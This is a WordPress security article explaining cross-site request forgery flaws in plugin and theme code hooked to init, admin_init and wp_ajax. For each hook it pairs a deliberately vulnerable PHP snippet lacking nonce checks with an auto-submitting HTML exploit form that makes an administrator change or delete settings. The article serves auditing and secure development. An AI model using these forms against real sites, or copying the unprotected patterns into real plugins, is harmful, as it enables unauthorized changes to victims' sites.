Skip to content

Cross-Site Request Forgery (CSRF)

Introduction

This article covers cases of possible CSRF on WordPress. This includes improper hook/function/code usage inside of the plugin/theme which can be used to trick privileged users into doing sensitive actions.

By default, processes on hooks or functions that are used on plugins or themes don’t have a permission and nonce value check, that’s why the developer needs to manually perform a permission check using current_user_can function and the nonce value check using wp_verify_nonce, check_admin_referer or check_ajax_referer functions.

init hook

For more details on the init hook, please refer to this documentation.

Example of vulnerable code :

add_action("init", "check_if_update_2");
function check_if_update_2(){
if(isset($_GET["update"])){
if(current_user_can("manage_options")){
update_option("user_data", sanitize_text_field($_GET_["data"]));
}
}
}

To exploit this, unauthenticated users just need to craft and serve a malicious HTML file and trick privileged users into visiting the HTML file to do the sensitive actions.

<html>
<body>
<form action="<WORDPRESS_BASE_URL>" method="POST">
<input type="hidden" name="update" value="1" />
<input type="hidden" name="data" value="test" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>

admin_init hook

For more details on the admin_init hook, please refer to this documentation.

Example of vulnerable code :

add_action("admin_init", "delete_admin_menu_2");
function delete_admin_menu_2(){
if(isset($_POST["delete"])){
if(current_user_can("manage_options")){
delete_option("custom_admin_menu");
}
}
}

To exploit this, unauthenticated users just need to craft and serve a malicious HTML file and trick privileged users into visiting the HTML file to do the sensitive actions.

<html>
<body>
<form action="<WORDPRESS_BASE_URL>/wp-admin/admin-ajax.php?action=heartbeat" method="POST">
<input type="hidden" name="delete" value="1" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>

wp_ajax_{$action} hook

For more details on the wp_ajax_{$action} hook, please refer to this documentation.

Example of vulnerable code :

add_action("wp_ajax_update_post_data", "update_post_data_2");
function update_post_data_2(){
if(isset($_POST["update"])){
$post_id = get_post($_POST["id"]);
update_post_meta($post_id, "data", sanitize_text_field($_POST["data"]));
}
}

To exploit this, unauthenticated users just need to craft and serve a malicious HTML file and trick privileged users into visiting the HTML file to do the sensitive actions.

<html>
<body>
<form action="<WORDPRESS_BASE_URL>/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="update_post_data" />
<input type="hidden" name="id" value="1" />
<input type="hidden" name="update" value="1" />
<input type="hidden" name="data" value="test" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

Contributors

rafiem